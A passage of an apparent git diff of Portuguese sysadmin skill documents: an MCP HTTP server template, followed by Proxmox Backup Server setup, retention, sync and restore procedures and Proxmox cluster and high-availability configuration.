sessionIdGenerator: STATEFUL ? () => randomUUID() : undefined,
});
const srv = createMcpServer();
if (STATEFUL && transport.sessionId) {
sessions.set(transport.sessionId, { transport });
transport.onclose = () => { if (transport.sessionId) sessions.delete(transport.sessionId); };
}
await srv.connect(transport);
await transport.handleRequest(req, res);
} catch (error) {
if (!res.headersSent) {
res.writeHead(500, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'Internal server error' }));
}
}
return;
}
res.writeHead(404, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'Not found' }));
});
httpServer.listen(PORT, HOST, () => {
console.log(`MCP <nome> HTTP v1.0.0`);
console.log(` Endpoint: http://${HOST}:${PORT}/mcp`);
console.log(` Health: http://${HOST}:${PORT}/health`);
console.log(` Mode: ${STATEFUL ? 'Stateful' : 'Stateless'}`);
});
const shutdown = () => httpServer.close(() => process.exit(0));
process.on('SIGINT', shutdown);
process.on('SIGTERM', shutdown);
}
main().catch(console.error);
```
---
## ~/.config/systemd/user/mcp-<nome>.service
```ini
[Unit]
Description=MCP <Nome> HTTP Server
After=network.target
[Service]
Type=simple
WorkingDirectory=/home/ealmeida/mcp-servers/mcp-<nome>
ExecStart=/home/ealmeida/.nvm/versions/node/v22.18.0/bin/node dist/index-http.js
Restart=on-failure
RestartSec=5
Environment=NODE_ENV=production
Environment=MCP_HTTP_PORT=32XX
Environment=LOG_LEVEL=error
StandardOutput=journal
StandardError=journal
[Install]
WantedBy=default.target
```
---
## Configuração ~/.claude.json
```json
{
"mcpServers": {
"<nome>": {
"type": "http",
"url": "http://127.0.0.1:32XX/mcp"
}
}
}
```
---
*templates.md v1.0 | 2026-03-10*

View File

@@ -1,28 +1,19 @@
---
name: pbs-config
description: Configuração Proxmox Backup Server (PBS) - datastore creation, retention policies, sync jobs, remote targets. Use when user mentions "pbs setup", "proxmox backup", "configure pbs", "backup server".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 75
user_invocable: true
desk_task: 1712
allowed-tools: Task, Read, Bash
dependencies:
- ssh-unified
- notebooklm
description: Configuracao do Proxmox Backup Server (PBS) -- criacao de datastores, politicas de retencao, sync jobs e remote targets para estrategia 3-2-1.
---
# PBS Config
Configuração completa de Proxmox Backup Server (PBS) com datastores, políticas de retenção, sync jobs e estratégia de backup 3-2-1.
Configuracao completa de Proxmox Backup Server (PBS) com datastores, politicas de retencao, sync jobs e estrategia de backup 3-2-1.
## Quando Usar
- Configurar PBS após instalação Proxmox
- Configurar PBS apos instalacao Proxmox
- Criar datastores para backups
- Definir retention policies (7 daily, 4 weekly, 6 monthly)
- Configurar remote sync entre nodes PBS
- Implementar estratégia 3-2-1 backup
- Implementar estrategia 3-2-1 backup
## Sintaxe
@@ -33,13 +24,13 @@ Configuração completa de Proxmox Backup Server (PBS) com datastores, política
## Exemplos
```bash
# PBS básico com retention padrão
# PBS basico com retention padrao
/pbs-config /mnt/pbs-datastore
# PBS com retention custom e remote sync
/pbs-config /mnt/pbs-datastore --retention 10:5:12 --remote-sync pbs-node2.descomplicar.pt
# PBS sem deduplicação (se storage não suporta)
# PBS sem deduplicacao (se storage nao suporta)
/pbs-config /mnt/pbs-main --dedup off
```
@@ -54,444 +45,95 @@ mcp__notebooklm__notebook_query \
### Hub Docs
- Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md
- Módulo 3: Storage e Backups (PBS, estratégia 3-2-1, deduplicação)
- Modulo 3: Storage e Backups (PBS, estrategia 3-2-1, deduplicacao)
## Workflow Completo
## Workflow Resumo
### Fase 1: PBS Installation (se ainda não instalado)
O setup completo segue 8 fases. Detalhes em `references/pbs-setup-completo.md`.
### Fases
| Fase | Descricao | Comandos-chave |
|------|-----------|----------------|
| 1 | Instalacao PBS | `apt install proxmox-backup-server` |
| 2 | Criar Datastore | `proxmox-backup-manager datastore create` |
| 3 | Users e Permissions | `proxmox-backup-manager user create` |
| 4 | Integrar PVE com PBS | `pvesm add pbs` |
| 5 | Backup Jobs | `vzdump --storage pbs-main` |
| 6 | Remote Sync (cluster) | `proxmox-backup-manager sync-job create` |
| 7 | Monitoring | `proxmox-backup-manager datastore status` |
| 8 | Teste Restore | `qmrestore pbs-main:backup/...` |
### Comandos Essenciais
**1.1 Verificar se PBS já está instalado**
```bash
dpkg -l | grep proxmox-backup-server
# Se não instalado:
apt update
apt install proxmox-backup-server
```
**1.2 Aceder PBS Web UI**
```
https://SERVER_IP:8007
User: root
Password: (root password do servidor)
```
**1.3 Configuração Inicial**
- Hostname
- DNS servers
- Time zone (Europe/Lisbon)
### Fase 2: Datastore Creation
**2.1 Preparar Storage**
**Para ZFS (RECOMENDADO):**
```bash
# Já criado em /proxmox-setup:
# zfs create rpool/pbs-datastore
# Verificar
zfs list | grep pbs-datastore
# Optimizar para backup workload
zfs set compression=lz4 rpool/pbs-datastore
zfs set dedup=off rpool/pbs-datastore # Dedup no PBS, não no ZFS
zfs set recordsize=1M rpool/pbs-datastore # Large files
```
**Para ext4 (HDD 16TB):**
```bash
# Particionar HDD
parted /dev/sda mklabel gpt
parted /dev/sda mkpart primary ext4 0% 100%
# Formatar
mkfs.ext4 /dev/sda1
# Montar
mkdir -p /mnt/pbs-datastore
echo "/dev/sda1 /mnt/pbs-datastore ext4 defaults 0 2" >> /etc/fstab
mount -a
```
**2.2 Criar Datastore via CLI**
```bash
# Criar datastore
proxmox-backup-manager datastore create main-store /mnt/pbs-datastore
# Verificar
proxmox-backup-manager datastore list
```
**2.3 Configurar Retention Policy**
```bash
# 7 daily, 4 weekly, 6 monthly (padrão)
# Retention padrao (7d/4w/6m/3y)
proxmox-backup-manager datastore update main-store \
--keep-daily 7 \
--keep-weekly 4 \
--keep-monthly 6 \
--keep-yearly 3
```
--keep-daily 7 --keep-weekly 4 --keep-monthly 6 --keep-yearly 3
**Explicação Retention:**
- `keep-daily 7`: Mantém 7 backups diários
- `keep-weekly 4`: Mantém 4 backups semanais (1 por semana)
- `keep-monthly 6`: Mantém 6 backups mensais (1 por mês)
- `keep-yearly 3`: Mantém 3 backups anuais
# User dedicado
proxmox-backup-manager user create pve-backup@pbs --email admin@descomplicar.pt
**Gestão automática:** PBS elimina backups antigos baseado nestas regras.
# Adicionar PBS ao PVE
pvesm add pbs pbs-main --server SERVER_IP --datastore main-store --username pve-backup@pbs
### Fase 3: PBS Users & Permissions
**3.1 Criar User para PVE Backups**
```bash
# User dedicado para Proxmox enviar backups
proxmox-backup-manager user create pve-backup@pbs \
--email admin@descomplicar.pt
# Password
proxmox-backup-manager user update pve-backup@pbs --password
# Atribuir permissões no datastore
proxmox-backup-manager acl update /datastore/main-store \
--auth-id pve-backup@pbs \
--role DatastoreBackup
```
**3.2 Criar API Token (para automação)**
```bash
# Token para scripts/Terraform
proxmox-backup-manager user token create pve-backup@pbs automation-token \
--output-format json
# Guardar token de forma segura
# Formato: pve-backup@pbs!automation-token=<secret>
```
### Fase 4: Configure PVE to Use PBS
**4.1 Adicionar PBS Storage em Proxmox VE**
Via Web UI (Datacenter → Storage → Add → Proxmox Backup Server):
- ID: `pbs-main`
- Server: `SERVER_IP` (ou hostname se cluster)
- Datastore: `main-store`
- Username: `pve-backup@pbs`
- Password: (password criado)
- Fingerprint: (auto-detect)
Via CLI:
```bash
pvesm add pbs pbs-main \
--server SERVER_IP \
--datastore main-store \
--username pve-backup@pbs \
--password <password>
```
**4.2 Verificar Conectividade**
```bash
pvesm status | grep pbs-main
```
### Fase 5: Backup Jobs (PVE)
**5.1 Criar Backup Job para VMs Críticas**
Via Web UI (Datacenter → Backup → Add):
- Storage: `pbs-main`
- Schedule: Daily 01:00
- Mode: Snapshot (live backup)
- Compression: zstd
- Notification: email admin@descomplicar.pt
Via CLI:
```bash
# Backup diário de todas VMs às 01:00
# Backup diario
vzdump --storage pbs-main --mode snapshot --compress zstd --all 1
```
**5.2 Agendar via cron (alternativa)**
```bash
# /etc/cron.d/pve-backup-critical
0 1 * * * root vzdump --storage pbs-main --vmid 100,101,102 --mode snapshot --compress zstd
```
**5.3 Backup Seletivo**
```bash
# VMs críticas: diário
# VMs secundárias: 3x semana (Seg, Qua, Sex)
0 1 * * 1,3,5 root vzdump --storage pbs-main --vmid 200,201,202 --mode snapshot --compress zstd
```
### Fase 6: Remote Sync (2-Node Cluster)
**Setup para cluster:** PBS em Node B (primary) + PBS em Node A (secondary)
**6.1 Configurar Remote em PBS Secondary (Node A)**
Via Web UI PBS Node A (Configuration → Remote):
- Name: `pbs-node-b`
- Host: `<node-b-ip>` ou `cluster.descomplicar.pt`
- Port: 8007
- Auth ID: `pve-backup@pbs`
- Password: (password)
- Fingerprint: (auto-detect)
**6.2 Criar Sync Job**
Via Web UI PBS Node A (Configuration → Sync Jobs → Add):
- Remote: `pbs-node-b`
- Remote Datastore: `main-store`
- Local Datastore: `secondary-store`
- Schedule: Daily 03:00 (após backups)
- Remove vanished: Yes (sync deletes)
Via CLI em Node A:
```bash
# Remote sync
proxmox-backup-manager sync-job create sync-from-node-b \
--remote pbs-node-b \
--remote-store main-store \
--store secondary-store \
--schedule "0 3 * * *" \
--remove-vanished true
```
--remote pbs-node-b --remote-store main-store --store secondary-store \
--schedule "0 3 * * *" --remove-vanished true
**6.3 Testar Sync Manual**
```bash
proxmox-backup-manager sync-job run sync-from-node-b
```
### Fase 7: Monitoring & Maintenance
**7.1 Verificar Deduplicação**
```bash
# Ver estatísticas datastore
proxmox-backup-manager datastore status main-store
# Ratio deduplicação (típico 1.3-2.5x)
```
**7.2 Garbage Collection**
```bash
# Liberar espaço de backups removidos (retention)
# Garbage collection
proxmox-backup-manager garbage-collection start main-store
# Agendar GC semanal (Domingo 02:00)
# Via Web UI: Datastore → main-store → Prune & GC
```
**7.3 Verificar Disk Usage**
```bash
df -h /mnt/pbs-datastore
# ZFS
zfs list -o name,used,available,refer rpool/pbs-datastore
```
**7.4 Alertas Email**
```bash
# Configurar notificações
# Via Web UI: Configuration → Notifications
# SMTP server: mail.descomplicar.pt
# Alertas: disk usage >80%, backup failures
```
### Fase 8: Restore Procedures (Testing)
**8.1 Restore VM Teste**
Via Web UI PVE:
- Storage → pbs-main → Backups
- Seleccionar VM backup
- Restore → New VM ID (999)
- Start após restore
**8.2 Restore via CLI**
```bash
# Listar backups disponíveis
pbs-client list --repository pve-backup@pbs@SERVER_IP:main-store
# Restore VM 100
qmrestore pbs-main:backup/vm/100/YYYY-MM-DD... 999
```
**8.3 Validar Restore**
```bash
qm start 999
# Verificar VM boota correctamente
# Teste serviço critical
# Shutdown e remover VM teste
qm stop 999 && qm destroy 999
```
**CRITICAL:** Testar restore ANTES de considerar backup strategy operacional.
## Output Summary
```
✅ PBS configurado: SERVER_IP:8007
💾 Datastore:
- Name: main-store
- Path: /mnt/pbs-datastore
- Size: 16TB (HDD) ou 1TB (NVMe)
- Deduplication: ON (PBS chunk-based)
- Compression: LZ4 (ZFS) + zstd (PBS)
📋 Retention Policy:
- Daily: 7 backups
- Weekly: 4 backups
- Monthly: 6 backups
- Yearly: 3 backups
- Auto-prune: Yes
🔐 Access:
- User: pve-backup@pbs
- Token: automation-token (para CI/CD)
- Role: DatastoreBackup
⏰ Backup Schedule:
- Critical VMs (100-102): Diário 01:00
- Secondary VMs (200-202): Seg/Qua/Sex 01:00
- GC: Domingo 02:00
🔄 Remote Sync (se cluster):
- Source: pbs-node-b (Node B)
- Target: secondary-store (Node A)
- Schedule: Diário 03:00
- Remove vanished: Yes
📊 Expected Metrics:
- Dedup ratio: 1.5-2.5x
- Compression ratio: 1.3-1.8x
- Backup speed: 100-300 MB/s (depende network/disk)
- Restore RTO: 2-4h (para VM 100GB)
✅ Validation Tests:
✓ Primeiro backup successful
✓ Restore test VM 999
✓ Dedup ratio >1.3x
✓ Remote sync (se cluster)
✓ Email notifications working
📋 Next Steps:
1. Configurar backup VMs production (/vm-migration)
2. Criar off-site backup (S3/Wasabi/Hetzner Storage Box)
3. Documentar restore procedures em PROC-Backup-Restore.md
4. Testar disaster recovery completo
5. Monitorizar disk usage PBS (alertar >80%)
⏱️ Setup time: ~30min (vs 1h manual)
```
## Estratégia 3-2-1 Backup
**Implementation para Cluster Descomplicar:**
**3 cópias:**
1. **Original:** VMs em Node A (produção)
2. **Backup primário:** PBS Node B (16TB HDD)
3. **Backup secundário:** PBS Node A remote sync (12TB HDD)
**2 médias diferentes:**
1. NVMe (VMs produção)
2. HDD Enterprise (PBS datastores)
**1 off-site:**
- **Opção A:** Hetzner Storage Box (rsync daily)
- **Opção B:** S3-compatible (Wasabi/Backblaze)
- **Opção C:** PBS em VPS externo
**RPO:** 1h (backups hourly se critical)
**RTO:** 2-4h (restore + validação)
## PBS Advanced Features
### Verification Jobs
```bash
# Verificar integridade backups
# Verificacao integridade
proxmox-backup-manager verify-job create verify-main \
--store main-store \
--schedule "0 4 * * 0" # Domingo 04:00
--store main-store --schedule "0 4 * * 0"
```
### Namespace Organization
```bash
# Organizar backups por tipo
proxmox-backup-manager namespace create main-store/production
proxmox-backup-manager namespace create main-store/testing
proxmox-backup-manager namespace create main-store/archived
```
## Estrategia 3-2-1
### Tape Backup (futuro)
- PBS suporta LTO tape
- Para compliance de longo prazo
- Cold storage
| Componente | Implementacao |
|------------|---------------|
| 3 copias | VMs producao + PBS Node B + PBS Node A sync |
| 2 medias | NVMe (producao) + HDD Enterprise (PBS) |
| 1 off-site | Hetzner Storage Box / S3 / PBS externo |
| RPO | 1h (hourly se critico) |
| RTO | 2-4h (restore + validacao) |
## Troubleshooting
## Troubleshooting Rapido
### Backup failing: "no space"
```bash
# Verificar disk usage
df -h /mnt/pbs-datastore
| Problema | Solucao |
|----------|---------|
| "no space" | `garbage-collection start` + reduzir retention |
| Remote sync falha | Verificar conectividade + auth + `journalctl -u proxmox-backup` |
| Dedup ratio baixo | VMs encrypted nao deduplica; verificar chunk size |
# Run GC manual
proxmox-backup-manager garbage-collection start main-store
Detalhes completos em `references/pbs-avancado.md`.
# Ajustar retention (reduzir keeps)
proxmox-backup-manager datastore update main-store --keep-daily 5
```
## Quando NAO Usar
### Remote sync not working
```bash
# Verificar conectividade
ping <remote-pbs-ip>
# Testar autenticação
curl -k https://<remote-pbs-ip>:8007/api2/json/access/ticket \
-d "username=pve-backup@pbs&password=<password>"
# Logs
journalctl -u proxmox-backup -f
```
### Dedup ratio baixo (<1.2x)
```bash
# Verificar se VMs têm dados compressíveis
# VMs com random data (encrypted) não deduplica bem
# Verificar chunk size (padrão 4MB adequado)
proxmox-backup-manager datastore show main-store
```
- Para backups ad-hoc manuais (usar vzdump directo)
- Para PBS ja configurado (usar troubleshooting guides)
- Para restore procedures (criar skill especifica se necessario)
## References
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52
- **PBS Docs:** https://pbs.proxmox.com/docs/
- **Guia Hub:** Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md (Módulo 3)
---
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
- **Guia Hub:** Hub/05-Projectos/Cluster Descomplicar/Research/Proxmox-VE/Guia-Definitivo-Proxmox-Hetzner.md (Modulo 3)
- **Setup detalhado:** `references/pbs-setup-completo.md`
- **Avancado e troubleshooting:** `references/pbs-avancado.md`
## Metadata (Desk CRM Task #1712)
```
Projeto: Cluster Proxmox Descomplicar (#65)
Tarefa: Migração Infraestrutura (#1712)
Projecto: Cluster Proxmox Descomplicar (#65)
Tarefa: Migracao Infraestrutura (#1712)
Tags: pbs, backup, retention, deduplication, sync
Status: Research → Implementation
```
---
**/** @author Descomplicar® | @link descomplicar.pt | @copyright 2026 **/
---
## Quando NÃO Usar
- Para backups ad-hoc manuais (usar vzdump directo)
- Para PBS já configurado (usar troubleshooting guides)
- Para restore procedures (criar skill específica se necessário)

View File

@@ -0,0 +1,125 @@
# PBS Avancado - Funcionalidades e Troubleshooting
## Monitoring e Maintenance
### Verificar Deduplicacao
```bash
# Ver estatisticas datastore
proxmox-backup-manager datastore status main-store
# Ratio deduplicacao (tipico 1.3-2.5x)
```
### Garbage Collection
```bash
# Liberar espaco de backups removidos (retention)
proxmox-backup-manager garbage-collection start main-store
# Agendar GC semanal (Domingo 02:00)
# Via Web UI: Datastore -> main-store -> Prune & GC
```
### Verificar Disk Usage
```bash
df -h /mnt/pbs-datastore
# ZFS
zfs list -o name,used,available,refer rpool/pbs-datastore
```
### Alertas Email
```bash
# Configurar notificacoes
# Via Web UI: Configuration -> Notifications
# SMTP server: mail.descomplicar.pt
# Alertas: disk usage >80%, backup failures
```
## PBS Advanced Features
### Verification Jobs
```bash
# Verificar integridade backups
proxmox-backup-manager verify-job create verify-main \
--store main-store \
--schedule "0 4 * * 0" # Domingo 04:00
```
### Namespace Organization
```bash
# Organizar backups por tipo
proxmox-backup-manager namespace create main-store/production
proxmox-backup-manager namespace create main-store/testing
proxmox-backup-manager namespace create main-store/archived
```
### Tape Backup (futuro)
- PBS suporta LTO tape
- Para compliance de longo prazo
- Cold storage
## Troubleshooting
### Backup failing: "no space"
```bash
# Verificar disk usage
df -h /mnt/pbs-datastore
# Run GC manual
proxmox-backup-manager garbage-collection start main-store
# Ajustar retention (reduzir keeps)
proxmox-backup-manager datastore update main-store --keep-daily 5
```
### Remote sync not working
```bash
# Verificar conectividade
ping <remote-pbs-ip>
# Testar autenticacao
curl -k https://<remote-pbs-ip>:8007/api2/json/access/ticket \
-d "username=pve-backup@pbs&password=<password>"
# Logs
journalctl -u proxmox-backup -f
```
### Dedup ratio baixo (<1.2x)
```bash
# Verificar se VMs tem dados compressiveis
# VMs com random data (encrypted) nao deduplica bem
# Verificar chunk size (padrao 4MB adequado)
proxmox-backup-manager datastore show main-store
```
## Estrategia 3-2-1 Backup
**Implementacao para Cluster Descomplicar:**
**3 copias:**
1. **Original:** VMs em Node A (producao)
2. **Backup primario:** PBS Node B (16TB HDD)
3. **Backup secundario:** PBS Node A remote sync (12TB HDD)
**2 medias diferentes:**
1. NVMe (VMs producao)
2. HDD Enterprise (PBS datastores)
**1 off-site:**
- **Opcao A:** Hetzner Storage Box (rsync daily)
- **Opcao B:** S3-compatible (Wasabi/Backblaze)
- **Opcao C:** PBS em VPS externo
**RPO:** 1h (backups hourly se critical)
**RTO:** 2-4h (restore + validacao)
## Metricas Esperadas
| Metrica | Valor tipico |
|---------|-------------|
| Dedup ratio | 1.5-2.5x |
| Compression ratio | 1.3-1.8x |
| Backup speed | 100-300 MB/s |
| Restore RTO | 2-4h (para VM 100GB) |

View File

@@ -0,0 +1,235 @@
# PBS Setup Completo - Referencia Detalhada
## Fase 1: PBS Installation
### 1.1 Verificar se PBS ja esta instalado
```bash
dpkg -l | grep proxmox-backup-server
# Se nao instalado:
apt update
apt install proxmox-backup-server
```
### 1.2 Aceder PBS Web UI
```
https://SERVER_IP:8007
User: root
Password: (root password do servidor)
```
### 1.3 Configuracao Inicial
- Hostname
- DNS servers
- Time zone (Europe/Lisbon)
## Fase 2: Datastore Creation
### 2.1 Preparar Storage
**Para ZFS (recomendado):**
```bash
# Ja criado em /proxmox-setup:
# zfs create rpool/pbs-datastore
# Verificar
zfs list | grep pbs-datastore
# Optimizar para backup workload
zfs set compression=lz4 rpool/pbs-datastore
zfs set dedup=off rpool/pbs-datastore # Dedup no PBS, nao no ZFS
zfs set recordsize=1M rpool/pbs-datastore # Large files
```
**Para ext4 (HDD 16TB):**
```bash
# Particionar HDD
parted /dev/sda mklabel gpt
parted /dev/sda mkpart primary ext4 0% 100%
# Formatar
mkfs.ext4 /dev/sda1
# Montar
mkdir -p /mnt/pbs-datastore
echo "/dev/sda1 /mnt/pbs-datastore ext4 defaults 0 2" >> /etc/fstab
mount -a
```
### 2.2 Criar Datastore via CLI
```bash
proxmox-backup-manager datastore create main-store /mnt/pbs-datastore
# Verificar
proxmox-backup-manager datastore list
```
### 2.3 Configurar Retention Policy
```bash
# 7 daily, 4 weekly, 6 monthly (padrao)
proxmox-backup-manager datastore update main-store \
--keep-daily 7 \
--keep-weekly 4 \
--keep-monthly 6 \
--keep-yearly 3
```
**Explicacao Retention:**
- `keep-daily 7`: Mantem 7 backups diarios
- `keep-weekly 4`: Mantem 4 backups semanais (1 por semana)
- `keep-monthly 6`: Mantem 6 backups mensais (1 por mes)
- `keep-yearly 3`: Mantem 3 backups anuais
**Gestao automatica:** PBS elimina backups antigos baseado nestas regras.
## Fase 3: PBS Users e Permissions
### 3.1 Criar User para PVE Backups
```bash
# User dedicado para Proxmox enviar backups
proxmox-backup-manager user create pve-backup@pbs \
--email admin@descomplicar.pt
# Password
proxmox-backup-manager user update pve-backup@pbs --password
# Atribuir permissoes no datastore
proxmox-backup-manager acl update /datastore/main-store \
--auth-id pve-backup@pbs \
--role DatastoreBackup
```
### 3.2 Criar API Token (para automacao)
```bash
# Token para scripts/Terraform
proxmox-backup-manager user token create pve-backup@pbs automation-token \
--output-format json
# Guardar token de forma segura
# Formato: pve-backup@pbs!automation-token=<secret>
```
## Fase 4: Configure PVE to Use PBS
### 4.1 Adicionar PBS Storage em Proxmox VE
Via Web UI (Datacenter -> Storage -> Add -> Proxmox Backup Server):
- ID: `pbs-main`
- Server: `SERVER_IP` (ou hostname se cluster)
- Datastore: `main-store`
- Username: `pve-backup@pbs`
- Password: (password criado)
- Fingerprint: (auto-detect)
Via CLI:
```bash
pvesm add pbs pbs-main \
--server SERVER_IP \
--datastore main-store \
--username pve-backup@pbs \
--password <password>
```
### 4.2 Verificar Conectividade
```bash
pvesm status | grep pbs-main
```
## Fase 5: Backup Jobs (PVE)
### 5.1 Criar Backup Job para VMs Criticas
Via Web UI (Datacenter -> Backup -> Add):
- Storage: `pbs-main`
- Schedule: Daily 01:00
- Mode: Snapshot (live backup)
- Compression: zstd
- Notification: email admin@descomplicar.pt
Via CLI:
```bash
# Backup diario de todas VMs as 01:00
vzdump --storage pbs-main --mode snapshot --compress zstd --all 1
```
### 5.2 Agendar via cron (alternativa)
```bash
# /etc/cron.d/pve-backup-critical
0 1 * * * root vzdump --storage pbs-main --vmid 100,101,102 --mode snapshot --compress zstd
```
### 5.3 Backup Selectivo
```bash
# VMs criticas: diario
# VMs secundarias: 3x semana (Seg, Qua, Sex)
0 1 * * 1,3,5 root vzdump --storage pbs-main --vmid 200,201,202 --mode snapshot --compress zstd
```
## Fase 6: Remote Sync (2-Node Cluster)
**Setup para cluster:** PBS em Node B (primary) + PBS em Node A (secondary)
### 6.1 Configurar Remote em PBS Secondary (Node A)
Via Web UI PBS Node A (Configuration -> Remote):
- Name: `pbs-node-b`
- Host: `<node-b-ip>` ou `cluster.descomplicar.pt`
- Port: 8007
- Auth ID: `pve-backup@pbs`
- Password: (password)
- Fingerprint: (auto-detect)
### 6.2 Criar Sync Job
Via Web UI PBS Node A (Configuration -> Sync Jobs -> Add):
- Remote: `pbs-node-b`
- Remote Datastore: `main-store`
- Local Datastore: `secondary-store`
- Schedule: Daily 03:00 (apos backups)
- Remove vanished: Yes (sync deletes)
Via CLI em Node A:
```bash
proxmox-backup-manager sync-job create sync-from-node-b \
--remote pbs-node-b \
--remote-store main-store \
--store secondary-store \
--schedule "0 3 * * *" \
--remove-vanished true
```
### 6.3 Testar Sync Manual
```bash
proxmox-backup-manager sync-job run sync-from-node-b
```
## Fase 7: Restore Procedures (Testing)
### 7.1 Restore VM Teste
Via Web UI PVE:
- Storage -> pbs-main -> Backups
- Seleccionar VM backup
- Restore -> New VM ID (999)
- Start apos restore
### 7.2 Restore via CLI
```bash
# Listar backups disponiveis
pbs-client list --repository pve-backup@pbs@SERVER_IP:main-store
# Restore VM 100
qmrestore pbs-main:backup/vm/100/YYYY-MM-DD... 999
```
### 7.3 Validar Restore
```bash
qm start 999
# Verificar VM boota correctamente
# Teste servico critical
# Shutdown e remover VM teste
qm stop 999 && qm destroy 999
```
**Critico:** Testar restore ANTES de considerar backup strategy operacional.

View File

@@ -1,16 +1,7 @@
---
name: proxmox-cluster
description: Formar cluster Proxmox 2+ nodes com Corosync e Quorum. Use when user mentions "create cluster", "proxmox cluster", "pvecm", "join node", "cluster formation".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 75
user_invocable: true
desk_task: 1712
allowed-tools: Task, Read, Bash
dependencies:
- ssh-unified
- notebooklm
- proxmox-setup
description: Formação de cluster Proxmox com 2+ nodes — configuração de Corosync, Quorum e preparação para High Availability.
disable-model-invocation: true
---
# Proxmox Cluster
@@ -475,4 +466,23 @@ pvecm status # Em ambos nodes, status diferente
---
## Contexto NotebookLM
ANTES de executar, consultar notebooks para contexto especializado:
| Notebook | ID | Consultar quando |
|----------|-----|-----------------|
| Proxmox | 276ccdde-6b95-42a3-ad96-4e64d64c8d52 | Sempre |
```
mcp__notebooklm__notebook_query({
notebook_id: "276ccdde-6b95-42a3-ad96-4e64d64c8d52",
query: "<adaptar ao contexto de cluster e corosync>"
})
```
Integrar insights do NotebookLM nas recomendações e decisões.
---
**/** @author Descomplicar® | @copyright 2026 **/

View File

@@ -1,26 +1,16 @@
---
name: proxmox-ha
description: Configurar High Availability (HA) em cluster Proxmox - resource groups, fencing, failover automático. Use when user mentions "configure ha", "proxmox ha", "high availability", "failover", "ha manager".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 75
user_invocable: true
desk_task: 1712
allowed-tools: Task, Read, Bash
dependencies:
- ssh-unified
- notebooklm
- proxmox-cluster
description: Configuracao de High Availability em cluster Proxmox -- HA Manager, fencing devices (STONITH) e failover automatico para VMs criticas.
---
# Proxmox HA
Configurar High Availability (HA) em cluster Proxmox com HA Manager, fencing devices e failover automático para VMs críticas.
Configurar High Availability (HA) em cluster Proxmox com HA Manager, fencing devices e failover automatico para VMs criticas.
## Quando Usar
- Configurar HA após cluster formation (/proxmox-cluster)
- Proteger VMs críticas com failover automático
- Configurar HA apos cluster formation (/proxmox-cluster)
- Proteger VMs criticas com failover automatico
- Configurar fencing devices (STONITH)
- Definir HA groups por criticidade
- Testar failover procedures
@@ -31,137 +21,50 @@ Configurar High Availability (HA) em cluster Proxmox com HA Manager, fencing dev
/proxmox-ha configure --critical-vms <vm-ids> [--fencing watchdog|ipmi] [--max-relocate 2]
```
## Exemplos
```bash
# HA para VMs críticas com watchdog
/proxmox-ha configure --critical-vms 200,300 --fencing watchdog
# HA com IPMI fencing (hardware)
/proxmox-ha configure --critical-vms 200,300,301 --fencing ipmi --max-relocate 1
# Apenas testar failover (sem activar HA)
/proxmox-ha test --vm 999
```
## Knowledge Sources
### NotebookLM
```bash
mcp__notebooklm__notebook_query \
notebook_id:"276ccdde-6b95-42a3-ad96-4e64d64c8d52" \
query:"proxmox ha high availability fencing stonith failover"
```
## Workflow Completo
---
### Pre-Requisites
## Pre-Requisitos
**1. Cluster Formado**
**1. Cluster formado:**
```bash
# Verificar cluster healthy
pvecm status
# Expected:
# Quorum: Active
# Nodes: 2+ online
# Expected: Quorum: Active, Nodes: 2+ online
```
**2. Shared Storage ou Replication**
**Opções:**
**2. Shared Storage ou Replication:**
- **Shared storage** (NFS, Ceph): HA ideal (failover <30s)
- **No shared storage**: Requer ZFS replication ou aceita boot time failover (~2-5min)
- **Sem shared storage**: ZFS replication ou boot time failover (~2-5min)
**Para Cluster Descomplicar (sem shared storage):**
```bash
# Aceitar boot-time failover
# OU configurar ZFS replication:
**3. Fencing device configurado** - sem fencing = risco split-brain
# Node A:
zfs snapshot rpool/vm-disks@ha-sync
zfs send rpool/vm-disks@ha-sync | ssh root@<node-b-ip> zfs receive rpool/vm-disks-replica
---
# Automatizar com pvesr (Proxmox Storage Replication)
```
**3. Fencing Device Configurado**
**CRITICAL:** Sem fencing = risco split-brain
## Workflow Completo
### Fase 1: Fencing Configuration
**1.1 Opção A: Watchdog (Software Fencing)**
Detalhes completos das 3 opcoes (Watchdog, IPMI, Network) em: `references/fencing-configuration.md`
**Mais simples, menos confiável:**
```bash
# Instalar watchdog em ambos nodes
apt install watchdog
# Load kernel module
modprobe softdog
# Auto-load on boot
echo "softdog" >> /etc/modules
# Configurar HA Manager para usar watchdog
# (automático quando HA activado)
```
**1.2 Opção B: IPMI/iLO (Hardware Fencing)**
**Mais confiável, requer IPMI:**
```bash
# Verificar IPMI disponível
ipmitool lan print
# Configurar IPMI credentials (via BIOS ou ipmitool)
# Configurar em Proxmox (Web UI):
# Datacenter → Fencing → Add
# Type: IPMI
# IP: <node-ipmi-ip>
# Username: admin
# Password: <ipmi-pass>
# Test
fence_ipmilan -a <node-ipmi-ip> -l admin -p <pass> -o status
```
**1.3 Opção C: Network Fencing (Menos Confiável)**
**Usar apenas se IPMI não disponível:**
```bash
# SSH-based fencing (perigoso)
# Depende de network estar up
# Não recomendado para production
```
**Recomendação Cluster Descomplicar:**
- **Início:** Watchdog (simple, funcional)
- **Produção:** IPMI se hardware suporta
- **Evitar:** Network fencing
**Resumo:** Watchdog para inicio, IPMI para producao, evitar network fencing.
### Fase 2: HA Manager Configuration
**2.1 Enable HA Manager**
```bash
# Automático quando cluster formado
# Verificar status
ha-manager status
# Expected:
# quorum: OK
# master: <node-name> (elected)
# lrm: active
# Expected: quorum: OK, master: <node-name> (elected), lrm: active
```
**2.2 Criar HA Groups (Opcional)**
**HA Groups por criticidade:**
**Criar HA Groups por criticidade:**
```bash
# Via Web UI: Datacenter → HA → Groups → Add
# Critical (priority 100)
ha-manager groupadd critical \
--nodes "server.descomplicar.pt:100,cluster.descomplicar.pt:100"
@@ -175,23 +78,8 @@ ha-manager groupadd low \
--nodes "server.descomplicar.pt:10,cluster.descomplicar.pt:10"
```
**Priority explicação:**
- Higher priority = preferência para correr nesse node
- Usado para balancear carga
